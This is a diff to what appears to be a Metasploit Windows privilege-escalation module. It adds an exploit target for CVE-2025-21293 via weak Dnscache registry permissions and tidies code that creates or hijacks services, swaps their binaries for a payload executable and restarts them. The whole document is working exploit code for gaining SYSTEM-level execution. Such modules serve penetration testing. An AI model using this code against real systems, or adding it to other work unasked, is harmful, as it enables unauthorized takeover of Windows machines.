@@ -38,20 +38,26 @@ def initialize(info = {})
3838 'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
3939 'Platform' => [ 'win' ] ,
4040 'SessionTypes' => [ 'meterpreter' ] ,
41- 'DefaultOptions' =>
42- {
43- 'EXITFUNC' => 'thread' ,
44- 'WfsDelay' => '5'
45- } ,
46- 'Targets' =>
47- [
48- [ 'Automatic' , { } ] ,
49- ] ,
41+ 'DefaultOptions' => {
42+ 'EXITFUNC' => 'thread' ,
43+ 'WfsDelay' => '5'
44+ } ,
45+ 'Targets' => [
46+ [ 'Automatic' , { } ] ,
47+ [ 'Exploit CVE-2025-21293' , { } ]
48+ ] ,
5049 'References' => [
51- [ 'URL' , 'https://itm4n.github.io/windows-registry-rpceptmapper-eop/' ]
50+ [ 'URL' , 'https://itm4n.github.io/windows-registry-rpceptmapper-eop/' ] ,
51+ [ 'URL' , 'https://birkep.github.io/posts/Windows-LPE/' ] ,
52+ [ 'CVE' , '2025-21293' ] ,
5253 ] ,
5354 'DefaultTarget' => 0 ,
54- 'DisclosureDate' => '2012-10-15'
55+ 'DisclosureDate' => '2012-10-15' ,
56+ 'Notes' => {
57+ 'Stability' => [ CRASH_SAFE ] ,
58+ 'Reliability' => [ REPEATABLE_SESSION ] ,
59+ 'SideEffects' => [ ARTIFACTS_ON_DISK , IOC_IN_LOGS ]
60+ } ,
5561 )
5662 )
5763
@@ -68,7 +74,7 @@ def execute_payload_as_new_service(path)
6874 success = false
6975
7076 print_status ( 'Trying to add a new service...' )
71- service_name = Rex ::Text . rand_text_alpha ( ( rand ( 6 ..13 ) ) )
77+ service_name = Rex ::Text . rand_text_alpha ( rand ( 6 ..13 ) )
7278 if service_create ( service_name , { path : path , display : '' } ) == ERROR ::SUCCESS
7379 print_status ( "Created service... #{ service_name } " )
7480 write_exe ( path , service_name )
@@ -95,7 +101,7 @@ def weak_service_permissions(service_name, service, path)
95101 print_status ( "[#{ service_name } ] Restarting service" )
96102 res = service_stop ( service_name )
97103
98- if ( ( res == ERROR ::SUCCESS ) || ( res == ERROR ::SERVICE_NOT_ACTIVE ) )
104+ if ( res == ERROR ::SUCCESS ) || ( res == ERROR ::SERVICE_NOT_ACTIVE )
99105 write_exe ( path , service_name )
100106 if service_restart ( service_name )
101107 print_good ( "[#{ service_name } ] Service restarted" )
@@ -144,7 +150,7 @@ def weak_file_permissions(service_name, service, _path, token)
144150 stopped = true
145151 else
146152 res = service_stop ( service_name )
147- stopped = ( ( res == ERROR ::SUCCESS ) || ( res == ERROR ::SERVICE_NOT_ACTIVE ) )
153+ stopped = ( res == ERROR ::SUCCESS ) || ( res == ERROR ::SERVICE_NOT_ACTIVE )
148154 end
149155 rescue RuntimeError => e
150156 vprint_error ( "[#{ service_name } ] #{ e } " )
@@ -156,7 +162,7 @@ def weak_file_permissions(service_name, service, _path, token)
156162 if move_file ( possible_path , "#{ possible_path } .bak" )
157163 write_exe ( possible_path , service_name )
158164 print_status ( "[#{ service_name } ] #{ possible_path } moved to #{ possible_path } .bak and replaced." )
159- if service_restart ( service_name ) # rubocop:disable Metrics/BlockNesting
165+ if service_restart ( service_name )
160166 print_good ( "[#{ service_name } ] Service restarted" )
161167 success = true
162168 else
@@ -260,14 +266,21 @@ def exploit
260266 end
261267
262268 if sysinfo [ 'Architecture' ] != payload_arch
263- print_error ( 'The registry technique will be skipped because the payload architecture does not match the native system architecture' )
269+ print_error ( 'The registry technique will be skipped because the payload architecture selected does not match the payload architecture of the session being used in the exploit. ' )
264270 end
265271 tempexe_name = "#{ Rex ::Text . rand_text_alpha ( rand ( 6 ..13 ) ) } .exe"
266272
267273 dir_env = get_envs ( 'SystemRoot' , 'TEMP' )
268274 tmpdir = dir_env [ 'TEMP' ]
269275 tempexe = "#{ tmpdir } \\ #{ tempexe_name } "
270276
277+ if target . name == 'Exploit CVE-2025-21293'
278+ print_status ( 'Exploiting CVE-2025-21293' )
279+ fail_with ( Failure ::BadConfig , 'To exploit CVE-2025-21293 through a remote shell UAC must be disabled' ) if is_uac_enabled?
280+ weak_registry_permissions ( 'Dnscache' )
281+ return
282+ end
283+
271284 if datastore [ 'TargetServiceName' ] . blank?
272285 begin
273286 return if execute_payload_as_new_service ( tempexe )
@@ -283,7 +296,7 @@ def exploit
283296 token = get_imperstoken
284297 each_service do |serv |
285298 service_name = serv [ :name ]
286- next unless ( datastore [ 'TargetServiceName' ] . blank? || datastore [ 'TargetServiceName' ] . downcase == service_name . downcase )
299+ next unless datastore [ 'TargetServiceName' ] . blank? || datastore [ 'TargetServiceName' ] . downcase == service_name . downcase
287300
288301 service = service_info ( service_name )
289302
0 commit comments